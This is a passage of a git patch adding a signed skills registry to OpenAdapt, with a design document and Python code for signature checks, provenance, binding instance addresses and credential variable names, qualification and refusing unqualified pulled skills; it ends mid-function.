From 709798cc5e22b593a0437fa4d85f84ec32cdda60 Mon Sep 17 00:00:00 2001 From: abrichr Date: Wed, 28 Oct 2026 14:25:53 -0400 Subject: [PATCH 1/8] Skills registry: signed entries, provenance in the workflow, bind and qualify before any run A pulled skill runs only after it is qualified on the user's own instance. pull checks each entry's Ed25519ph signature against keys shipped with the package before downloading, then records the entry's provenance inside the workflow (covered by the content digest), writes skill.lock.json and expires any certification it carries. skill bind records addresses and the names of credential variables, never secrets; skill qualify runs the bundled record check in place against the bound instance; run, replay, emit-skill and emit-mcp refuse a bundle with registry provenance until it has a current certification on a named instance (and, for replay, the target URL's). A shipped contract may not name Python hooks. Index schema 2 adds version pinning, the app license, contract and contract variables, coverage and a blind verifier score. Design in docs/design/SKILLS_REGISTRY.md. Co-Authored-By: Claude Opus 5.5 --- CAPABILITIES.md | 2 + llms-full.txt | 2 + .../commands/01-record-and-build/skill.md | 1 + packages/flow/docs/design/SKILLS_REGISTRY.md | 139 ++++++ packages/flow/openadapt_flow/__main__.py | 12 + packages/flow/openadapt_flow/ir.py | 27 ++ packages/flow/openadapt_flow/registry.py | 191 +++++++- .../flow/openadapt_flow/registry_keys.json | 5 + packages/flow/openadapt_flow/skills.py | 421 ++++++++++++++++++ packages/flow/registry/README.md | 29 +- packages/flow/scripts/build_registry_index.py | 22 +- packages/flow/tests/test_registry.py | 28 +- packages/flow/tests/test_skills_registry.py | 406 +++++++++++++++++ 13 files changed, 1266 insertions(+), 19 deletions(-) create mode 100644 packages/flow/docs/commands/01-record-and-build/skill.md create mode 100644 packages/flow/docs/design/SKILLS_REGISTRY.md create mode 100644 packages/flow/openadapt_flow/registry_keys.json create mode 100644 packages/flow/openadapt_flow/skills.py create mode 100644 packages/flow/tests/test_skills_registry.py diff --git a/CAPABILITIES.md b/CAPABILITIES.md index 6af5be633..faaec68ca 100644 --- a/CAPABILITIES.md +++ b/CAPABILITIES.md @@ -254,6 +254,7 @@ improvising or retrying when something is off. | Compile an agent's first verified run from a prompt (`compile-agent`), and a code-as-action authoring agent | On main ([#1277](https://github.com/OpenAdaptAI/OpenAdapt/pull/1277), [#1305](https://github.com/OpenAdaptAI/OpenAdapt/pull/1305)); the agent harness behind it runs on every backend, on main ([#1283](https://github.com/OpenAdaptAI/OpenAdapt/pull/1283)) | Synthetic | `compile-agent` | | Score harness optimizers (Harness², Meta-Harness) on GUI tasks with the record read-back as the reward, with full trace export | On main ([#1299](https://github.com/OpenAdaptAI/OpenAdapt/pull/1299), [#1300](https://github.com/OpenAdaptAI/OpenAdapt/pull/1300), [#1301](https://github.com/OpenAdaptAI/OpenAdapt/pull/1301)) | Synthetic (scripted proposer) | `integrations/harness2/` | | One scoreboard comparing the agent alone with OpenAdapt across tasks (correctness by read-back, cost, time, items per hour) | On main ([#1303](https://github.com/OpenAdaptAI/OpenAdapt/pull/1303)) | Synthetic and local OpenEMR and openIMIS test copies | `benchmark/scoreboard/` | +| Pull a skill from the registry (`pull app/task@version`) and run it only after qualifying it on your own instance: `pull` marks it and expires any certification it carries, `skill bind` records your addresses and the names of the variables that hold credentials (never their values), `skill qualify` runs its bundled record check there, and `run`, `replay`, `emit-skill` and `emit-mcp` refuse it until then | On main | Unit tests | `openadapt-flow skill`, [SKILLS_REGISTRY.md](packages/flow/docs/design/SKILLS_REGISTRY.md) | ## Recording, privacy and proof @@ -301,6 +302,7 @@ A test fails when a command has no file or this list is out of date. - `record` - `route` - `sections`: Show, rename, merge or split the named sections a program map folds +- `skill`: Bind a pulled skill to your instance, qualify it there, and check whether it may run. - `variants` - `visualize` diff --git a/llms-full.txt b/llms-full.txt index f48fb1a7f..52aa65cac 100644 --- a/llms-full.txt +++ b/llms-full.txt @@ -651,6 +651,7 @@ improvising or retrying when something is off. | Compile an agent's first verified run from a prompt (`compile-agent`), and a code-as-action authoring agent | On main ([#1277](https://github.com/OpenAdaptAI/OpenAdapt/pull/1277), [#1305](https://github.com/OpenAdaptAI/OpenAdapt/pull/1305)); the agent harness behind it runs on every backend, on main ([#1283](https://github.com/OpenAdaptAI/OpenAdapt/pull/1283)) | Synthetic | `compile-agent` | | Score harness optimizers (Harness², Meta-Harness) on GUI tasks with the record read-back as the reward, with full trace export | On main ([#1299](https://github.com/OpenAdaptAI/OpenAdapt/pull/1299), [#1300](https://github.com/OpenAdaptAI/OpenAdapt/pull/1300), [#1301](https://github.com/OpenAdaptAI/OpenAdapt/pull/1301)) | Synthetic (scripted proposer) | `integrations/harness2/` | | One scoreboard comparing the agent alone with OpenAdapt across tasks (correctness by read-back, cost, time, items per hour) | On main ([#1303](https://github.com/OpenAdaptAI/OpenAdapt/pull/1303)) | Synthetic and local OpenEMR and openIMIS test copies | `benchmark/scoreboard/` | +| Pull a skill from the registry (`pull app/task@version`) and run it only after qualifying it on your own instance: `pull` marks it and expires any certification it carries, `skill bind` records your addresses and the names of the variables that hold credentials (never their values), `skill qualify` runs its bundled record check there, and `run`, `replay`, `emit-skill` and `emit-mcp` refuse it until then | On main | Unit tests | `openadapt-flow skill`, [SKILLS_REGISTRY.md](https://github.com/OpenAdaptAI/OpenAdapt/blob/main/packages/flow/docs/design/SKILLS_REGISTRY.md) | ## Recording, privacy and proof @@ -698,6 +699,7 @@ A test fails when a command has no file or this list is out of date. - `record` - `route` - `sections`: Show, rename, merge or split the named sections a program map folds +- `skill`: Bind a pulled skill to your instance, qualify it there, and check whether it may run. - `variants` - `visualize` diff --git a/packages/flow/docs/commands/01-record-and-build/skill.md b/packages/flow/docs/commands/01-record-and-build/skill.md new file mode 100644 index 000000000..b8d6be239 --- /dev/null +++ b/packages/flow/docs/commands/01-record-and-build/skill.md @@ -0,0 +1 @@ +Bind a pulled skill to your instance, qualify it there, and check whether it may run. diff --git a/packages/flow/docs/design/SKILLS_REGISTRY.md b/packages/flow/docs/design/SKILLS_REGISTRY.md new file mode 100644 index 000000000..d0581fada --- /dev/null +++ b/packages/flow/docs/design/SKILLS_REGISTRY.md @@ -0,0 +1,139 @@ +# Verified skills registry + +Status: reviewed (coordinator, 2026-10-28). The first stage is implemented: +signed entries, provenance in the workflow, bind, qualify and the run +refusal. It builds on `openadapt pull` (#1173, `openadapt_flow/registry.py`). + +## What it is + +The registry is a list of skills. Each skill is a compiled program for one +task in one open-source app, shipped with what it needs to be checked on +someone else's copy of that app: + +- the program: a compiled bundle, digest-pinned; +- the record check, as a `verify.yaml` template whose instance addresses and + credentials are left to the user; +- the fault coverage of that check (`check_coverage.json`); +- a verifier score measured blind (below); +- the credentials it needs, by role, never by value; +- the app's license, and what the bundle does and does not contain. + +A pulled skill doesn't run until it has been qualified against the user's own +instance. A registry certification is evidence about our test copy, never +about yours. + +## The entry + +`index.json` keeps schema 1's fields (`id`, `title`, `app`, `path`, `status`, +`certification`, `evidence`, `usage`, `params`, `files`). Schema 2 adds: + +| Field | What it holds | +| --- | --- | +| `version` | The skill's version (semver). `pull app/task@1.2.0` pins it; plain `pull` takes the newest. | +| `app_license` | The app's license (for example `GPL-3.0`, `AGPL-3.0`, `Apache-2.0`). | +| `app_versions` | The app versions the skill was qualified on. | +| `contract` | The path of `verify.yaml` inside the bundle. Addresses and credentials are `${VAR}` references. | +| `coverage` | The path of `check_coverage.json`: fault classes applicable, killed and untestable on our copy. | +| `verifier_score` | The blind score: suite id and sha256, author, commit under test, and counts of caught, missed, right clean verdicts and false alarms. | +| `credentials` | The roles the skill needs (the user who runs it, the read-only record-check client). Each is named by the environment variable that will hold it. | +| `contains` | What the bundle holds: program steps, cropped screen templates from a synthetic copy, the contract and evidence. It never holds the app's code. | + +A `certified` entry still needs its `certification` record. Separately, any +entry with files needs a `contract` and a `verifier_score`. An entry without +them can be listed, but `pull` labels it "no record check". + +## Pull, bind, qualify, run + +1. **Pull.** `openadapt pull openemr/register-patient` checks the entry's + signature against the keys shipped with the package, then downloads the + files and checks each sha256 and the manifest digest, as today. It then: + - records the provenance (entry id, version, index, the signed entry's + sha256, the signer and the published digest) in the workflow itself, so + the content digest covers it; + - writes `skill.lock.json` beside the bundle: the entry id, version, index + URL, file digests and the time; + - expires any certification the bundle carries + (`_invalidate_prior_certification`, reason "pulled from the registry; + qualify on your instance"). + + The pulled bundle therefore has its own content digest, distinct from ours. +2. **Bind.** `openadapt-flow skill bind ./register-patient --url + https://emr.example.org --var RECORD_TOKEN=MY_EMR_READ_TOKEN` writes + `binding.json`: the user's app address, record-check address, and the + environment variable that holds each credential. It refuses a literal + secret: values are only ever variable names. +3. **Qualify.** `openadapt-flow skill qualify ./register-patient --certify + clinical-write` runs the six qualification cases with the bundled contract, + resolved through the binding, against the user's instance (a test copy of + it). Passing certifies the bundle under the user's environment digest. +4. **Run.** `run`, `replay`, `emit-skill` and `emit-mcp` refuse a bundle that + has a `skill.lock.json` unless it carries a current certification made by + `skill qualify` for the bound app's environment. The message names the + command to run. Governed runs refuse an uncertified bundle already. The new + refusal also covers `replay`, the permissive path, for pulled skills. + +The refusal keys off the provenance in the workflow, not the lock file: +deleting `skill.lock.json` changes nothing. Removing the provenance changes +the content digest, which makes the bundle a different, unverified local +bundle, and the fail-closed rules for those apply. + +## The blind verifier score + +The method is the independent suite on `measure/phase0-independent` +(`benchmark/verification_coverage/independent`), applied per skill: + +1. A spec of what must be true after the task, and what must not change, is + written without reading the generated record check. +2. A blind author, who sees only the spec and a fault brief, writes the fault + cases. The suite is frozen by sha256 before any run. +3. Scoring is mechanical. A fault case counts as caught when the check does + not verify it; a clean case counts as right when it does. +4. The entry records the counts and the frozen suite's sha256. `pull --list` + shows them beside the status. + +Each app gets its own suite and fault brief. The registry never shows a score +measured on a different skill or app. + +## Seeds + +| Skill | App (license) | Record check | Notes | +| --- | --- | --- | --- | +| `openemr/register-patient` | OpenEMR (GPL-3.0) | REST and FHIR | Replaces `openemr/new-referral` (example) with a qualified, scored version | +| `medplum/new-patient` | Medplum (Apache-2.0) | FHIR | Needs #1579 (`focus_on`) and #1581 (form identity) | +| `openimis/claim-intake` | openIMIS (AGPL-3.0) | SQL | Needs an arm64 or Rosetta host (amd64 images) | +| `erpnext/new-customer` or `odoo/new-contact` | ERPNext (GPL-3.0) / Odoo Community (LGPL-3.0) | REST | First non-healthcare entry | +| one more non-healthcare app | to be chosen: a self-hostable OSS app with a documented API | REST or SQL | | + +Proprietary apps (Epic, SAP and others) are out of scope without access and +permission. + +## Licensing + +An entry describes how to use an app. It doesn't redistribute the app: + +- no app source, schema files or assets copied from the app's repository; +- screen templates are crops of the app's rendered UI, taken on a synthetic + copy; +- the fixture that brings up a test copy pulls the app's own published + images by digest at run time, as `benchmark/openimis_claims` does. + +Each entry names the app's license. A crop of an AGPL app's UI is a screenshot +of its output, not its code; this needs one legal review before the first +AGPL entry is published. + +## Decisions (review, 2026-10-28) + +- **Signatures.** Each entry is signed with the Seals signing (Ed25519ph), and + the index is to be anchored in Rekor as Seals are. The registry signing key + and the first anchoring are maintainer actions; until then entries are + unsigned and `pull` needs `--allow-unsigned`. +- **Where it lives.** A static index in a public repository, with the bundles + as release assets. +- **Public and private tiers.** `source-policy.yaml` keeps per-system + read-back recipes private. The public bundle carries the program and a + minimal contract (app identity, record match keys, identity field, one + check per typed value). The full contract (frame conditions, exact new set, + duplicate rules, fault-derived checks) and the fault suites come from a + private tier fetched with credentials. `verifier_score` publishes only the + counts and the private suite's sha256. The exact file split is with the + coordinator. diff --git a/packages/flow/openadapt_flow/__main__.py b/packages/flow/openadapt_flow/__main__.py index 2d549ff28..43501a593 100644 --- a/packages/flow/openadapt_flow/__main__.py +++ b/packages/flow/openadapt_flow/__main__.py @@ -2567,6 +2567,9 @@ def _cmd_replay(args: argparse.Namespace) -> int: from openadapt_flow.ir import Workflow bundle = Path(args.bundle) + from openadapt_flow.skills import refuse_unqualified_skill + + refuse_unqualified_skill(bundle, target_url=getattr(args, "url", None)) refuse_replay_composition(bundle) refuse_replay_process(bundle) from openadapt_flow.cli_variants import refuse_replay_variants @@ -3619,6 +3622,9 @@ def _cmd_run(args: argparse.Namespace) -> int: from openadapt_flow.runtime.authorization import runtime_inputs_digest bundle = Path(args.bundle) + from openadapt_flow.skills import refuse_unqualified_skill + + refuse_unqualified_skill(bundle) if is_composition_artifact(bundle): from openadapt_flow.cli_compose import cmd_run_composition @@ -6516,7 +6522,9 @@ def _cmd_disambiguate(args: argparse.Namespace) -> int: def _cmd_emit_skill(args: argparse.Namespace) -> int: from openadapt_flow.emit.skill import emit_skill + from openadapt_flow.skills import refuse_unqualified_skill + refuse_unqualified_skill(args.bundle) skill_dir = emit_skill(Path(args.bundle), Path(args.out)) print(f"Skill written to {skill_dir}") return 0 @@ -6524,7 +6532,9 @@ def _cmd_emit_skill(args: argparse.Namespace) -> int: def _cmd_emit_mcp(args: argparse.Namespace) -> int: from openadapt_flow.emit.mcp_tool import emit_mcp_server + from openadapt_flow.skills import refuse_unqualified_skill + refuse_unqualified_skill(args.bundle) server_path = emit_mcp_server(Path(args.bundle), Path(args.out)) print(f"MCP server written to {server_path}") return 0 @@ -9784,8 +9794,10 @@ def build_parser() -> argparse.ArgumentParser: p.set_defaults(func=_cmd_silent_saves) from openadapt_flow.registry import add_parser as _add_pull_parser + from openadapt_flow.skills import add_parser as _add_skill_parser _add_pull_parser(sub) + _add_skill_parser(sub) from openadapt_flow.intake.cli import add_parser as _add_intake_parser diff --git a/packages/flow/openadapt_flow/ir.py b/packages/flow/openadapt_flow/ir.py index 4766c181e..fbbb93c33 100644 --- a/packages/flow/openadapt_flow/ir.py +++ b/packages/flow/openadapt_flow/ir.py @@ -2713,6 +2713,29 @@ class BundleProvenance(BaseModel): ) +class RegistryOrigin(BaseModel): + """Where a bundle pulled from the skills registry came from. + + Part of the workflow content, so the content digest covers it: a bundle + that says it came from the registry runs only with a certification bound + to its own digest and environment (``openadapt_flow.skills``). Removing + it makes a different, unverified local bundle. + """ + + model_config = ConfigDict(extra="forbid") + + id: str = Field(min_length=3, max_length=200) + version: Optional[str] = Field(default=None, max_length=64) + index_url: str = Field(max_length=2048) + #: SHA-256 of the signed entry statement (``registry.entry_statement``). + entry_sha256: str = Field(pattern="^[a-f0-9]{64}$") + #: The key that signed the entry, or None for an unsigned local index. + signed_by: Optional[str] = Field(default=None, max_length=128) + #: The bundle's content digest as the registry published it. + published_digest: str = Field(pattern="^[a-f0-9]{64}$") + pulled_at: str + + class BundleManifest(BaseModel): """Integrity + provenance manifest for a compiled bundle (schema v2). @@ -2996,6 +3019,8 @@ class Workflow(BaseModel): # review, canary or admission pins. None for every other bundle, and # omitted from its serialized bytes. origin: Optional[Literal["agent_run"]] = None + #: Set by ``openadapt-flow pull``: the registry entry this bundle came from. + registry: Optional[RegistryOrigin] = None # Narration that suggested a certified guard, keyed by the program state # (or step) id the guard sits on. Explanation only: the runtime never reads # it. Empty for every bundle without narrated guards, and then omitted @@ -3050,6 +3075,8 @@ def _serialize_compatible(self, handler: Any) -> dict[str, Any]: data.pop("surfaces", None) if self.origin is None: data.pop("origin", None) + if self.registry is None: + data.pop("registry", None) if not self.guard_sources: data.pop("guard_sources", None) if not self.undo_steps: diff --git a/packages/flow/openadapt_flow/registry.py b/packages/flow/openadapt_flow/registry.py index dfbd11571..5d7633828 100644 --- a/packages/flow/openadapt_flow/registry.py +++ b/packages/flow/openadapt_flow/registry.py @@ -13,10 +13,19 @@ ``certification``. The index validator refuses this status without one. * ``planned``: listed so users can see it is coming; there are no files and ``pull`` refuses. + +Schema 2 (docs/design/SKILLS_REGISTRY.md) adds, per entry, a ``version`` +(``pull app/task@1.2.0`` pins it), the app's license, the bundled record-check +template (``contract``) with the variables it needs (``contract_vars``), its +fault ``coverage``, a blind ``verifier_score`` and the ``credentials`` it +needs. A pulled skill is marked (``skill.lock.json``) and any certification it +carries is expired: it runs only after ``openadapt-flow skill qualify`` on the +user's own instance (:mod:`openadapt_flow.skills`). """ from __future__ import annotations +import base64 import hashlib import json import shutil @@ -38,6 +47,68 @@ class RegistryError(RuntimeError): """The index or a bundle failed a check. Nothing was written to ``out``.""" +# -- signatures --------------------------------------------------------------------- + +#: Domain separation for a signed entry (Ed25519ph over SHA-512, the form Rekor +#: checks for an Ed25519 key in a ``hashedrekord`` entry, so an entry can be +#: anchored as Seals are). +_ENTRY_DOMAIN = b"openadapt.registry-entry/v1\n" +KEYS_FILE = Path(__file__).with_name("registry_keys.json") + + +def entry_statement(raw: dict[str, Any]) -> bytes: + """The bytes a signature covers: every field of the entry but the signature.""" + + body = {k: v for k, v in raw.items() if k != "signature"} + return _ENTRY_DOMAIN + json.dumps( + body, sort_keys=True, separators=(",", ":"), ensure_ascii=False + ).encode("utf-8") + + +def entry_sha256(raw: dict[str, Any]) -> str: + return hashlib.sha256(entry_statement(raw)).hexdigest() + + +def sign_entry(raw: dict[str, Any], seed: bytes, key_id: str) -> dict[str, str]: + """A signature block for ``raw``, made with the 32-byte Ed25519 ``seed``.""" + + from openadapt_flow.ed25519ph import sign_prehashed + + digest = hashlib.sha512(entry_statement(raw)).digest() + signature = sign_prehashed(seed, digest) + return {"key_id": key_id, "ed25519ph": base64.b64encode(signature).decode("ascii")} + + +def trusted_keys() -> dict[str, bytes]: + """The registry's public keys, shipped with the package (never fetched).""" + + data = json.loads(KEYS_FILE.read_text()) + return {kid: base64.b64decode(pub) for kid, pub in (data.get("keys") or {}).items()} + + +def entry_signature_problem( + raw: dict[str, Any], keys: dict[str, bytes] +) -> Optional[str]: + """Why an entry's signature doesn't hold, or None when it does.""" + + from openadapt_flow.ed25519ph import verify_prehashed + + signature = raw.get("signature") + if not isinstance(signature, dict): + return "the entry is not signed" + key = keys.get(str(signature.get("key_id"))) + if key is None: + return f"the entry is signed by an unknown key {signature.get('key_id')!r}" + try: + sig = base64.b64decode(str(signature.get("ed25519ph", "")), validate=True) + except ValueError: + return "the entry's signature is not base64" + digest = hashlib.sha512(entry_statement(raw)).digest() + if not verify_prehashed(key, digest, sig): + return "the entry's signature does not match its content" + return None + + @dataclass(frozen=True) class Entry: id: str @@ -49,6 +120,29 @@ class Entry: def files(self) -> dict[str, str]: return dict(self.raw.get("files") or {}) + @property + def version(self) -> Optional[str]: + version = self.raw.get("version") + return str(version) if version else None + + @property + def ref(self) -> str: + """``id@version`` (or the bare id for a schema 1 entry).""" + return f"{self.id}@{self.version}" if self.version else self.id + + +#: Contract variable kinds ``skill bind`` accepts; a credential is only ever the +#: name of the environment variable that holds it. +CONTRACT_VAR_KINDS = ("url", "env_var_name", "path", "command") + + +def _version_key(version: Optional[str]) -> tuple[int, ...]: + parts = [] + for piece in (version or "0").split("."): + digits = "".join(ch for ch in piece if ch.isdigit()) + parts.append(int(digits) if digits else 0) + return tuple(parts) + def _read(location: str) -> bytes: if location.startswith(("http://", "https://")): @@ -75,9 +169,10 @@ def validate_index(index: dict[str, Any]) -> list[Entry]: seen = set() for item in index.get("workflows", []): wid = item.get("id", "") - if "/" not in wid or wid in seen: + key = (wid, item.get("version")) + if "/" not in wid or "@" in wid or key in seen: raise RegistryError(f"bad or duplicate workflow id {wid!r}") - seen.add(wid) + seen.add(key) status = item.get("status") if status not in STATUSES: raise RegistryError(f"{wid}: status must be one of {STATUSES}") @@ -88,6 +183,25 @@ def validate_index(index: dict[str, Any]) -> list[Entry]: for rel in item.get("files") or {}: if rel.startswith("/") or ".." in Path(rel).parts: raise RegistryError(f"{wid}: unsafe path {rel!r}") + contract = item.get("contract") + if contract is not None and contract not in (item.get("files") or {}): + raise RegistryError(f"{wid}: contract {contract!r} is not one of its files") + for var in item.get("contract_vars") or []: + if not isinstance(var, dict) or var.get("kind") not in CONTRACT_VAR_KINDS: + raise RegistryError( + f"{wid}: each contract variable needs a kind in {CONTRACT_VAR_KINDS}" + ) + score = item.get("verifier_score") + if score is not None: + for field in ( + "suite_sha256", + "caught", + "missed", + "clean_right", + "false_alarm", + ): + if field not in score: + raise RegistryError(f"{wid}: verifier_score needs {field!r}") entries.append(Entry(wid, item.get("title", wid), status, item)) return entries @@ -101,10 +215,15 @@ def load_index(index_url: str = DEFAULT_INDEX_URL) -> list[Entry]: def find(entries: list[Entry], workflow_id: str) -> Entry: - for entry in entries: - if entry.id == workflow_id: - return entry - known = ", ".join(e.id for e in entries) + """The entry for ``app/task`` (its newest version) or ``app/task@version``.""" + + wid, _, version = workflow_id.partition("@") + matches = [ + e for e in entries if e.id == wid and (not version or e.version == version) + ] + if matches: + return max(matches, key=lambda e: _version_key(e.version)) + known = ", ".join(sorted({e.ref for e in entries})) raise RegistryError(f"no workflow {workflow_id!r} in the registry (known: {known})") @@ -114,12 +233,32 @@ def pull( *, index_url: str = DEFAULT_INDEX_URL, overwrite: bool = False, + keys: Optional[dict[str, bytes]] = None, + allow_unsigned: bool = False, ) -> Path: - """Download and verify a bundle into ``out`` (default ``./``).""" + """Download and verify a bundle into ``out`` (default ``./``). + + The entry's signature is checked against the keys shipped with the + package before anything is downloaded. ``allow_unsigned`` takes an + unsigned entry (a local index while authoring); a signature that is + present must always hold. + """ entry = find(load_index(index_url), workflow_id) if entry.status == "planned": raise RegistryError(f"{workflow_id} is planned and has no bundle yet") - dest = Path(out) if out else Path(workflow_id.split("/", 1)[1]) + problem = entry_signature_problem( + entry.raw, trusted_keys() if keys is None else keys + ) + if problem is not None and not ( + allow_unsigned and entry.raw.get("signature") is None + ): + hint = ( + "; pass --allow-unsigned for a local index you trust" + if entry.raw.get("signature") is None + else "" + ) + raise RegistryError(f"{entry.ref}: {problem}{hint}") + dest = Path(out) if out else Path(entry.id.split("/", 1)[1]) if dest.exists() and not overwrite: raise RegistryError(f"{dest} exists; pass --force to replace it") base = _join(index_url, entry.raw["path"].rstrip("/") + "/") @@ -141,6 +280,11 @@ def pull( Workflow.load(stage) except Exception as exc: # noqa: BLE001 - report any load failure as one error raise RegistryError(f"bundle failed to load: {exc}") from exc + from openadapt_flow.skills import mark_pulled + + # Mark it as pulled and expire any certification it carries: a + # registry certification is about our test copy, never the user's. + mark_pulled(stage, entry, index_url=index_url) if dest.exists(): shutil.rmtree(dest) dest.parent.mkdir(parents=True, exist_ok=True) @@ -163,7 +307,16 @@ def _describe(entry: Entry) -> str: "certified": "certified", "planned": "planned, not available yet", } - return f"{entry.id:28} {labels[entry.status]:24} {entry.title}" + score = entry.raw.get("verifier_score") + if score: + cases = score["caught"] + score["missed"] + clean = score["clean_right"] + score["false_alarm"] + checked = f"blind: {score['caught']}/{cases} faults, {score['clean_right']}/{clean} clean" + elif entry.status == "planned": + checked = "" + else: + checked = "no blind score" + return f"{entry.ref:34} {labels[entry.status]:24} {checked:32} {entry.title}" def cmd_pull(args: Any) -> int: @@ -175,15 +328,26 @@ def cmd_pull(args: Any) -> int: print(_describe(entry)) return 0 entry = find(load_index(args.index), args.workflow) - dest = pull(args.workflow, args.out, index_url=args.index, overwrite=args.force) + dest = pull( + args.workflow, + args.out, + index_url=args.index, + overwrite=args.force, + allow_unsigned=getattr(args, "allow_unsigned", False), + ) except RegistryError as exc: print(f"pull: {exc}", file=sys.stderr) return 1 - print(f"Pulled {entry.id} into {dest} ({len(entry.files)} files, sha256 checked)") + print(f"Pulled {entry.ref} into {dest} ({len(entry.files)} files, sha256 checked)") if entry.status != "certified": print( "Status: example, not certified. Rehearse it on a test copy of the app first." ) + print( + "It won't run until it is qualified on your instance:\n" + f" openadapt-flow skill bind {dest} ...\n" + f" openadapt-flow skill qualify {dest} --certify clinical-write" + ) params = entry.raw.get("params") or [] if params: print("Parameters: " + ", ".join(params)) @@ -208,4 +372,9 @@ def add_parser(sub: Any) -> None: "--force", action="store_true", help="Replace an existing destination" ) p.add_argument("--list", action="store_true", help="List available workflows") + p.add_argument( + "--allow-unsigned", + action="store_true", + help="Take an unsigned entry (a local index you trust while authoring)", + ) p.set_defaults(func=cmd_pull) diff --git a/packages/flow/openadapt_flow/registry_keys.json b/packages/flow/openadapt_flow/registry_keys.json new file mode 100644 index 000000000..048035b79 --- /dev/null +++ b/packages/flow/openadapt_flow/registry_keys.json @@ -0,0 +1,5 @@ +{ + "schema": "openadapt.registry-keys/v1", + "note": "Public keys that sign skills-registry entries. Empty until the registry signing key is published; until then pull needs --allow-unsigned.", + "keys": {} +} diff --git a/packages/flow/openadapt_flow/skills.py b/packages/flow/openadapt_flow/skills.py new file mode 100644 index 000000000..96758aac5 --- /dev/null +++ b/packages/flow/openadapt_flow/skills.py @@ -0,0 +1,421 @@ +"""Skills pulled from the registry: bind them locally, qualify, then run. + +``openadapt-flow pull`` puts a skill's bundle on disk with a +``skill.lock.json`` beside its files (:func:`mark_pulled`), and expires any +certification it carries. A registry certification is evidence about the +registry's test copy, never about the user's instance. From there: + +1. ``openadapt-flow skill bind DIR --set NAME=VALUE ...`` records the user's + values for the contract's variables in ``binding.json``. The values are + addresses, environment variable names, local paths and local commands, + each checked against the kind the entry declares. A credential is only + ever the name of the variable that holds it, never its value. +2. ``openadapt-flow skill qualify DIR --certify POLICY`` runs the + qualification cases with the skill's bundled ``verify.yaml``, resolved + through the binding, against the user's instance. A passing campaign + certifies the bundle in place and records the qualification in the lock. +3. ``run``, ``replay``, ``emit-skill`` and ``emit-mcp`` call + :func:`pulled_skill_refusal` and refuse a pulled skill until then. + +The bundled contract names no Python hooks: a pulled skill never runs code it +downloaded. Sign-in is a saved browser state (``storage_state``), and the +per-case reset is a command the user binds. + +See docs/design/SKILLS_REGISTRY.md. +""" + +from __future__ import annotations + +import json +import os +import re +from datetime import datetime, timezone +from pathlib import Path +from typing import Any, Callable, Mapping, Optional +from urllib.parse import urlsplit + +LOCK = "skill.lock.json" +BINDING = "binding.json" +LOCK_SCHEMA = "openadapt.skill-lock/v1" +BINDING_SCHEMA = "openadapt.skill-binding/v1" +EXPIRED_REASON = "pulled from the registry; qualify it on your instance" + +_ENV_NAME = re.compile(r"^[A-Z_][A-Z0-9_]{0,127}$") + + +class SkillError(RuntimeError): + """A pulled skill's lock, binding or qualification is not usable.""" + + +def _now() -> str: + return datetime.now(timezone.utc).isoformat(timespec="seconds") + + +def _write_json(path: Path, value: Any, *, private: bool = False) -> None: + path.write_text(json.dumps(value, indent=2, sort_keys=True) + "\n") + if private: + path.chmod(0o600) + + +def read_lock(bundle_dir: Path | str) -> Optional[dict[str, Any]]: + path = Path(bundle_dir) / LOCK + if not path.is_file(): + return None + try: + lock = json.loads(path.read_text()) + except json.JSONDecodeError as exc: + raise SkillError(f"{path} is not JSON: {exc}") from exc + if not isinstance(lock, dict) or lock.get("schema") != LOCK_SCHEMA: + raise SkillError(f"{path} is not a skill lock ({LOCK_SCHEMA})") + return lock + + +def read_binding(bundle_dir: Path | str) -> dict[str, str]: + path = Path(bundle_dir) / BINDING + if not path.is_file(): + return {} + data = json.loads(path.read_text()) + if not isinstance(data, dict) or data.get("schema") != BINDING_SCHEMA: + raise SkillError(f"{path} is not a skill binding ({BINDING_SCHEMA})") + return {str(k): str(v) for k, v in (data.get("values") or {}).items()} + + +def mark_pulled(bundle_dir: Path, entry: Any, *, index_url: str) -> None: + """Write the lock and expire any certification the pulled bundle carries.""" + + from openadapt_flow.bundle_sealing import _invalidate_prior_certification + from openadapt_flow.ir import RegistryOrigin, Workflow + from openadapt_flow.registry import entry_sha256 + + workflow = Workflow.load(bundle_dir) + published = workflow.manifest.content_digest if workflow.manifest else "" + expired = _invalidate_prior_certification(workflow, reason=EXPIRED_REASON) + raw = entry.raw + signature = raw.get("signature") + # The provenance is part of the workflow content, so the digest covers + # it: removing it makes a different, unverified local bundle. + workflow.registry = RegistryOrigin( + id=entry.id, + version=entry.version, + index_url=index_url, + entry_sha256=entry_sha256(raw), + signed_by=signature.get("key_id") if isinstance(signature, dict) else None, + published_digest=published, + pulled_at=_now(), + ) + workflow.save(bundle_dir) + _write_json( + bundle_dir / LOCK, + { + "schema": LOCK_SCHEMA, + "id": entry.id, + "version": entry.version, + "index": index_url, + "pulled_at": _now(), + "files": entry.files, + "certification_expired": expired, + "contract": raw.get("contract"), + "contract_vars": raw.get("contract_vars") or [], + "credentials": raw.get("credentials") or [], + "qualified": None, + }, + ) + + +def _check_value(name: str, kind: str, value: str) -> str: + if kind == "url": + parts = urlsplit(value) + if parts.scheme not in ("http", "https") or not parts.netloc: + raise SkillError(f"{name} must be an http(s) URL") + if parts.username or parts.password: + raise SkillError(f"{name} must not carry credentials in the URL") + return value + if kind == "env_var_name": + if not _ENV_NAME.match(value): + raise SkillError( + f"{name} takes the NAME of an environment variable (like " + "MY_EMR_TOKEN), never the secret itself" + ) + return value + if kind == "path": + path = Path(value).expanduser().resolve() + if not path.exists(): + raise SkillError(f"{name}: {path} does not exist") + return str(path) + if kind == "command": + if not value.strip(): + raise SkillError(f"{name} needs a command") + return value + raise SkillError(f"{name}: unknown kind {kind!r}") + + +def bind(bundle_dir: Path | str, values: Mapping[str, str]) -> Path: + """Record the user's values for the skill's contract variables.""" + + bundle_dir = Path(bundle_dir) + lock = read_lock(bundle_dir) + if lock is None: + raise SkillError(f"{bundle_dir} is not a pulled skill (no {LOCK})") + declared = {v["name"]: v for v in lock.get("contract_vars") or []} + merged = {**read_binding(bundle_dir)} + for name, value in values.items(): + var = declared.get(name) + if var is None: + known = ", ".join(sorted(declared)) or "none" + raise SkillError(f"{name} is not a variable of this skill (known: {known})") + merged[name] = _check_value(name, var["kind"], value) + path = bundle_dir / BINDING + _write_json( + path, + {"schema": BINDING_SCHEMA, "bound_at": _now(), "values": merged}, + private=True, + ) + return path + + +def missing_bindings(bundle_dir: Path | str) -> list[str]: + lock = read_lock(bundle_dir) or {} + bound = read_binding(bundle_dir) + return [ + v["name"] + for v in lock.get("contract_vars") or [] + if v.get("required", True) and v["name"] not in bound + ] + + +def _origin(url: str) -> str: + parts = urlsplit(url) + return 